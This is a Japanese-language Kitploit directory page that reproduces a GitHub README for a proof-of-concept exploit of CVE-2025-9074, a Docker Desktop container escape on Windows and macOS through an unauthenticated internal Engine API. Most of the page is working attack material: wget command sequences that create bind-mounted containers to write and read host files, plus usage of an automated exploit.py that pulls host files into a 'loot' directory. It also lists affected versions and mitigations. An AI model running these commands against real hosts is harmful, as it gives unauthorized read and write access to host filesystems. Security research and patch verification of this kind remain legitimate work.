Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-9074 — PoCエクスプロイト for CVE-2025-9074。WindowsおよびmacOS上で、認証されていない内部Docker Engine APIを介したDocker Desktopコンテナからの完全なエスケープを実証します。 | Kitploit
ツール/GitHubGitHub/pucagit/cve-2025-9074
脆弱性分析エクスプロイトペネトレーションテストクラウドセキュリティ学習と教育コンテナエスケープ
GitHubpucagit/cve-2025-9074

CVE-2025-9074

PoCエクスプロイト for CVE-2025-9074。WindowsおよびmacOS上で、認証されていない内部Docker Engine APIを介したDocker Desktopコンテナからの完全なエスケープを実証します。

リポジトリを見る
133ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-9074 – Windows/macOS Docker Desktop における完全な Docker エスケープ

📌 説明

Docker Desktop は、内部の Docker Engine API を http://192.168.65.7:2375 で実行中のあらゆるコンテナに公開します。認証もアクセス制御もありません。

エンジン自体がホストのファイルシステムをマウントできるため、コンテナはこの API を呼び出してホストドライブをバインドマウントする新しいコンテナを作成し、そのコンテナを使って任意のホストファイルを読み書きできます。これは完全なコンテナからホストへのエスケープです。

📝 参照

  • CVE-2025-9074 レコード
  • Docker Desktop リリースノート(4.44.3 で修正)
  • Felix Boulet による調査

🎯 影響を受けるバージョン

  • Windows および macOS 上の Docker Desktop ≤ 4.44.3

⚙️ 仕組み

  1. API に到達する。 実行中のコンテナが Docker Engine API の http://192.168.65.7:2375 に接続します。資格情報は不要です。
  • 特権コンテナを作成する。 Binds: ["/mnt/host:/host_root"] を指定して POST /containers/create を送信し、ホストドライブを新しいコンテナにマウントします。Docker VM 内では、ホストファイルシステムが /mnt/host として公開されます(例: Windows の C: ドライブは /mnt/host/c にあります)。
  • コンテナを起動する。 POST /containers/{id}/start がバインドマウントを有効化し、ホストへのフルアクセスを提供します。
  • ホストファイルを書き込む。 新しいコンテナがバインドマウントに書き込むコマンドを実行します(例: echo pwned > /host_root/c/test/pwn.txt)。
  • ホストファイルを読み取る。 GET /containers/{id}/archive?path=... は任意のホストパスを TAR アーカイブとしてストリーム返信します。シェルは不要です。

  • 🧪 ラボ環境のセットアップ

    要件

    • Docker Desktop で 4.44.3 より前(Windows または macOS)
    • 内部 API に到達できる攻撃者コンテナ(どのコンテナでも可)

    テストデータの準備(Windows)

    読み取りデモの対象となるように、C:\test\readme.txt にサンプルコンテンツを作成します。

    poc 1

    攻撃者コンテナを起動する

    root@kitploit:~
    docker run -it --rm alpine /bin/sh
    

    以下のすべての手動手順はこのコンテナ内で実行します(alpine には wget が同梱されています)。コマンドを短く保つために、API のシェル変数を設定します:

    root@kitploit:~
    API=http://192.168.65.7:2375
    

    ✍️ 再現手順 — ホストへの書き込み

    目的: コンテナ内からホスト上に C:\test\pwn.txt を作成します。

    root@kitploit:~
    # 1. Create a container that mounts the host C: drive and writes a file into it.
    wget -q -O create.json \
      --header='Content-Type: application/json' \
      --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
      $API/containers/create
    
    # 2. Extract the new container ID from the JSON response.
    cid=$(cut -d'"' -f4 create.json)
    
    # 3. Start it — the command runs and writes the file to the host.
    wget -q -O - --post-data='' $API/containers/$cid/start
    

    何が起こるか:

    • Binds: /mnt/host:/host_root はホストのドライブを新しいコンテナにマウントします。
    • コンテナのコマンドは pwned を C:\test\pwn.txt(/host_root/c/test/pwn.txt)に書き込みます。
    • 資格情報は一切必要ありませんでした。

    期待される結果: ホスト上に C:\test\pwn.txt が作成されます。

    poc 2


    📖 再現手順 — ホストからの読み取り

    目的: コンテナ内からホスト上の C:\test\readme.txt を読み取ります。

    root@kitploit:~
    # 1. Create + start a container with the host drive mounted (kept alive briefly).
    wget -q -O create.json \
      --header='Content-Type: application/json' \
      --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
      $API/containers/create
    cid=$(cut -d'"' -f4 create.json)
    wget -q -O - --post-data='' $API/containers/$cid/start
    
    # 2. Ask the engine for a TAR archive of the host directory, then extract it.
    wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
    tar -xvf test.tar
    cat test/readme.txt
    

    何が起こるか:

    • 同じバインドマウントにより、ホストドライブが新しいコンテナに読み取りにも対応した形で公開されます。
    • GET /containers/{id}/archive?path=... は任意のホストパスを TAR としてストリーム返信します。シェルは不要です。
    • アーカイブを展開すると、ホストファイルの内容が明らかになります。

    期待される結果: C:\test\readme.txt の内容が出力されます。

    poc 3


    🤖 自動エクスプロイト — exploit.py

    exploit.py は両方のフローを自動化します。Python 標準ライブラリのみを使用し、ホストマウントを自動検出し(Windows の /mnt/host/c と macOS/Linux の /)、ネイティブなホストパスを変換してくれます。

    内部 API(192.168.65.7:2375)はコンテナ内からのみ到達可能なため、Python が入ったコンテナ内でスクリプトを実行してください:

    root@kitploit:~
    # From the repo directory on the host:
    docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
    

    Windows PowerShell では -v "${PWD}:/x" を使用し、cmd.exe では -v "%cd%:/x" を使用します。

    アクセスの確認

    root@kitploit:~
    python /x/exploit.py info
    

    API に ping を送信し、ホスト OS を検出して、ホストマウントの最上位エントリを一覧表示します。

    ホストファイルの書き込み

    root@kitploit:~
    # Windows host
    python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
    
    # macOS/Linux host (or pipe content via stdin)
    echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
    

    ホストファイルの読み取り

    root@kitploit:~
    # Print to stdout
    python /x/exploit.py read 'C:\test\readme.txt'
    
    # Or extract (file or whole directory) into ./loot
    python /x/exploit.py read 'C:\test' --out ./loot
    

    便利なフラグ

    FlagPurpose
    --api URLAPI エンドポイントを上書きします(デフォルト: http://192.168.65.7:2375)
    --image NAMEエクスプロイトコンテナに使用するイメージ(デフォルト: alpine、存在しない場合は自動的にプル)
    --vm-mount PATH自動検出をスキップして VM 内のホストマウントを強制します(例: /mnt/host または /)

    🛡️ 緩和策

    • Windows および macOS では Docker Desktop を ≥ 4.44.3 にアップグレードしてください。
    • 信頼できないイメージを実行しないでください。パッチ未適用の API はあらゆるコンテナから到達可能です。

    ⚠️ 免責事項

    この PoC は許可されたテスト、教育、研究のみを目的としています。著者は誤用に対する責任を負いません。自分が所有している、またはテストを許可されたシステムに対してのみ実行してください。


    🙏 謝辞

    この PoC と README は、Felix Boulet によるリサーチを基にしています。当初の発見と分析に関するすべての功績は原著者に帰属します。


    📜 ライセンス

    このプロジェクトは MIT License の下でライセンスされています。

    ツールをダウンロード